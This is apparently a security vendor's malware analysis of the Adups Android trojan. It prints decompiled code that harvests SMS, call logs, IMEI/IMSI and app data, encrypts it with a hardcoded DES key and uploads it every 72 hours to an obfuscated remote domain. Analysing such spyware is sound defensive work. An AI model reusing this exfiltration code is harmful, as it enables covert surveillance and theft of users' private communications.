            v1 = arg7.getContentResolver().query(Uri.parse("content://com.ad.dinfo/msg"), null, v3,
                    null, null);
            if(v1 != null) {
                goto label_23;
            }

            goto label_83;
        }
        catch(SQLiteException v0) {
            goto label_95;
        }

        try {
        label_23:
            if(v1.getCount() > 0 && (v1.moveToFirst())) {
                TellMessageBean v0_3 = new TellMessageBean();
                v0_3.tells = "";
                v0_3.dctime = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date());
                do {
                    v6.setLength(0);
                    String v2 = v1.getString(v1.getColumnIndex("address"));
                    v3 = v1.getString(v1.getColumnIndex("type"));
                    String v4 = v1.getString(v1.getColumnIndex("date"));
                    String v5 = "0";
                    v6.append(v2);
                    v6.append(":");
                    if("2".equals(v3)) {
                        v6.append("1");
                    }
                    else {
                        v6.append("0");
[...]

    public void getMessageData() {
        try {
            b.a(this.ctx);
            String v0_1 = h.b(this.ctx, "push");
            g.a(this.ctx, "message data:: " + v0_1);
            if(!TextUtils.isEmpty(((CharSequence)v0_1)) && !v0_1.startsWith("0")) {
                this.message_process(v0_1);
            }

            if(h.a(this.ctx)) {
                this.installReport();
                this.reportFailDownloadMesssage(31);
            }

            this.delOutMesssage();
            this.reInstallRemind();
        }
        catch(Exception v0) {
            z.a(((Throwable)v0));
        }

        a.c(this.ctx);
    }

 

The getTellMessageData() method shown below calls the above methods.

 

public void getTellMessageData(Context arg3) {
        try {
            arg3.getSharedPreferences(Const.CHECK_SETTING_NAME, 0);
            long v0_1 = this.getSharedPreferTellSchedule(arg3);
            DcTellMessage.getSmsInPhone(arg3, v0_1);
            DcTellMessage.getCallLogList(arg3, v0_1);
            this.updateSharedPreferTellMessageSchedule(arg3);
        }
        catch(Exception v0) {
            Trace.wtf(((Throwable)v0));
        }
    }

 

The collectDcData() method shown below calls getTellMessageData() and some other methods to collect other information and insert the data into an SQL database.

 

private void collectDcData() {
        try {
            File v0_1 = new File(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip);
            File v1 = new File(Environment.getDataDirectory().getAbsolutePath() + this.dataPathSource);
            if(!v0_1.exists()) {
                v0_1.mkdir();
            }

            if(v1.exists()) {
                goto label_26;
            }

            v1.mkdir();
        }
        catch(Exception v0) {
            Trace.wtf(((Throwable)v0));
        }

        try {
        label_26:
            new DcTellMessage().getTellMessageData(this.ctx);
            new DcMobileStatus().getDcMoblicStatus(this.ctx);
            new DcMessage().getMessageData(this.ctx);
            new DcApp(this.ctx).getDcApp();
        }
        catch(Exception v0) {
            Trace.wtf(((Throwable)v0));
        }
    }

 

The data are then written to JSON format and zipped:

 

private boolean convertAndZipFile() {
        boolean v0_2;
        try {
            Gson v0_1 = new Gson();
            DataBaseOperate v1 = new DataBaseOperate(this.ctx);
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'D', 'c', 'M', 'o', 'b', 'i', 'l', 'e', 'S', 't', 'a',
                    't', 'u', 's', '.', 'j', 's', 'o', 'n'}), v0_1.toJson(v1.getMobileStatusList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'D', 'c', 'A', 'p', 'p', '.', 'j', 's', 'o', 'n'}),
                    v0_1.toJson(v1.getAppList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'D', 'c', 'T', 'e', 'l', 'l', 'M', 'e', 's', 's', 'a',
                    'g', 'e', '.', 'j', 's', 'o', 'n'}), v0_1.toJson(v1.getTellMessageList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'D', 'c', 'A', 'p', 'p', 'O', 'p', '.', 'j', 's', 'o',
                    'n'}), v0_1.toJson(v1.getAppOpList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'d', 'c', '_', 'a', 'p', 'p', '_', 'f', 'l', 'o', 'w',
                    '.', 'j', 's', 'o', 'n'}), v0_1.toJson(v1.getAppFlowList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'d', 'c', '_', 'm', 's', 'g', '_', 'k', 'e', 'y', '.',
                    'j', 's', 'o', 'n'}), v0_1.toJson(v1.getMessageList()));
            FileUtil.writeSDFile(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip
                     + String.valueOf(new char[]{'D', 'c', 'R', 'o', 'o', 't', 'I', 'n', 'f', 'o', '.',
                    'j', 's', 'o', 'n'}), v0_1.toJson(new DcBin().getBinFileList()));
            FileUtil.ZipFolder(Environment.getDataDirectory().getAbsolutePath() + this.dataPathZip,
                    Environment.getDataDirectory().getAbsolutePath() + this.dataPathSource + AnalyticsReport
                    .ZIP_FILENAME);
            v0_2 = true;
        }

 

The 7 JSON files contain various user information:

DcMobileStatus.json
Dcapp.json
DcTellMessage.json
DcappOp.json
dc_app_flow.json
dc_msg_key.json
DcRootInfo.json

The collected call logs and SMS messages are stored in “DcTellMessage.json” file. All data is then encrypted by using DES and sent out:

 

public void upload() {
        int v3 = Const.domains.length;
        if(v3 > 0 && !TextUtils.isEmpty(this.pid) && (HttpUtil.isNetWorkAvailable(this.ctx)) && (this
                .convertAndZipFile())) {
            int v1 = new Random().nextInt(v3);
            int v0 = 0;
            while(true) {
                if(v0 < v3) {
                    int v2 = v1 + 1;
                    if(this.upload(Const.domains[v1 % v3] + this.pid + "/" + Const.UPLOAD_LOG_RQ)) {
                        this.saveLastTime("dupt", System.currentTimeMillis());
                    }
                    else {
                        SystemClock.sleep(2000);
                        ++v0;
                        v1 = v2;
                        continue;
                    }
                }
                else {
                    break;
                }

                return;
            }

            this.saveLastTime("dupt", System.currentTimeMillis());
        }
    }

    private boolean upload(String arg9) {
        boolean v0 = false;
        try {
            MobileInfo v1_1 = MobileInfo.getInstance(this.ctx);
            File v2 = new File(Environment.getDataDirectory().getAbsolutePath() + this.dataPathSource
                     + AnalyticsReport.ZIP_FILENAME);
            if(!v2.exists()) {
                return v0;
            }

            MediaType v3 = MediaType.parse("text/plain");
            StringBuilder v4 = new StringBuilder();
            v4.append(AnalyticsReport.PARAM_MID).append('=').append(Mid.getMid(this.ctx)).append('&');
            v4.append(AnalyticsReport.PARAM_MODULE).append('=').append(String.valueOf(2)).append('&');
            v4.append(AnalyticsReport.PARAM_APPV).append('=').append("V5.0.0").append('&');
            v4.append(AnalyticsReport.PARAM_MODEL).append('=').append(v1_1.getMobileModel()).append(
                    '&');
            v4.append(AnalyticsReport.PARAM_PROJECT).append('=').append(ApkUtil.getAppMetaData(this.
                    ctx, String.valueOf(new char[]{'U', 'I', 'D'}))).append('&');
            v4.append(AnalyticsReport.PARAM_CHANNEL).append('=').append(ApkUtil.getAppMetaData(this.
                    ctx, String.valueOf(new char[]{'C', 'I', 'D'}))).append('&');
            v4.append(AnalyticsReport.PARAM_PRODUCT).append('=').append(ApkUtil.getAppMetaData(this.
                    ctx, String.valueOf(new char[]{'P', 'I', 'D'}))).append('&');
            v4.append(AnalyticsReport.PARAM_IMEI).append('=').append(v1_1.getIMEI()).append('&');
            v4.append(AnalyticsReport.PARAM_IMSI).append('=').append(v1_1.getIMSI()).append('&');
            v4.append(AnalyticsReport.PARAM_WIFIMAC).append('=').append(v1_1.getMacAddress()).append(
                    '&');
            v4.append(AnalyticsReport.PARAM_OPERATOR).append('=').append(v1_1.getOper()).append('&');
            v4.append(AnalyticsReport.PARAM_SN).append('=').append(v1_1.getSIMSN()).append('&');
            v4.append(AnalyticsReport.PARAM_SIM).append('=').append(v1_1.getSIMNum()).append('&');
            v4.append(AnalyticsReport.PARAM_OEM).append('=').append(v1_1.getOem()).append('&');
            v4.append(AnalyticsReport.PARAM_BRAND).append('=').append(v1_1.getBrand()).append('&');
            v4.append(AnalyticsReport.PARAM_APN).append('=').append(MobileInfo.mapNetworkTypeToType(
                    this.ctx)).append('&');
            v4.append(AnalyticsReport.PARAM_BUILDNUMBER).append('=').append(v1_1.getBuildnumber()).append(
                    '&');
            MultipartBuilder v1_2 = new MultipartBuilder();
            v1_2.addFormDataPart(AnalyticsReport.PARAM_ENCRYPTED, DES.encryptDES(v4.toString()));
            v1_2.addFormDataPart(AnalyticsReport.PARAM_PRODUCT, ApkUtil.getAppMetaData(this.ctx, String
                    .valueOf(new char[]{'P', 'I', 'D'})));
            v1_2.addFormDataPart(AnalyticsReport.PARAM_UPLOAD, AnalyticsReport.PARAM_UPLOAD, RequestBody
                    .create(v3, v2));
            Response v1_3 = OkHttpUtil.execute(new Builder().url(arg9).post(v1_2.build()).build());
            if(v1_3 == null) {
                return v0;
            }

 

The DES.encryptDES() method that is used in the above code is shown below:

 

public class DES {
    private static String DEF_KEY;
    private static byte[] iv;

    static {
        DES.iv = new byte[]{1, 2, 3, 4, 5, 6, 7, 8};
        DES.DEF_KEY = String.valueOf(new char[]{'N', 'o', 't', 'C', 'r', 'a', 'c', 'k'});
    }

    public DES() {
        super();
    }
[...]
   public static String encryptDES(String arg1) {
        return DES.encryptDES(arg1, DES.DEF_KEY);
    }

    public static String encryptDES(String arg4, String arg5) {
        String v0_2;
        try {
            IvParameterSpec v0_1 = new IvParameterSpec(DES.iv);
            SecretKeySpec v1 = new SecretKeySpec(arg5.getBytes(), "DES");
            Cipher v2 = Cipher.getInstance("DES/CBC/PKCS5Padding");
            v2.init(1, ((Key)v1), ((AlgorithmParameterSpec)v0_1));
            v0_2 = Base64.encode(v2.doFinal(arg4.getBytes()));
        }
        catch(Exception v0) {
            Trace.wtf(((Throwable)v0));
            v0_2 = "";
        }

        return v0_2;
    }

 

The DES encryption key is “NotCrack” and the IV is 12345678.
The data is sent to the following domain “https://bigdata.adups.com/”

 

public static String[] domains = { String.valueOf(new char[] { 104, 116, 116, 112, 115, 58, 47, 47, 98, 105, 103, 100, 97, 116, 97, 46, 97, 100, 117, 112, 115, 46, 99, 111, 109, 47 }) };

 

The data is uploaded every 72 hours:

 

        Const.ANALYTICS_SCHEDULE_DEF = 259200000;
[...]
    private boolean isOverDCUploadTime() {
        boolean v0 = false;
        long v2 = System.currentTimeMillis();
        long v4 = this.prefs.getLong("dupt", -1);
        if(v4 < 0) {
            this.saveLastTime("dupt", v2);
        }
        else if(v2 - v4 >= Const.ANALYTICS_SCHEDULE_DEF) {
            v0 = true;
        }

        return v0;
    }
[...]
    private void checkDc() {
        if(this.isOverDCTime()) {
            this.collectDcData();
        }

        if(this.isOverDCUploadTime()) {
            this.upload();
        }
    }

 

Summary
The Trustlook Mobile Security app detects this app as “Android.Trojan.Adups”. Trustlook’s anti-threat platform can effectively alert and remove the threat. Download the Trustlook app for free from the Google Play store.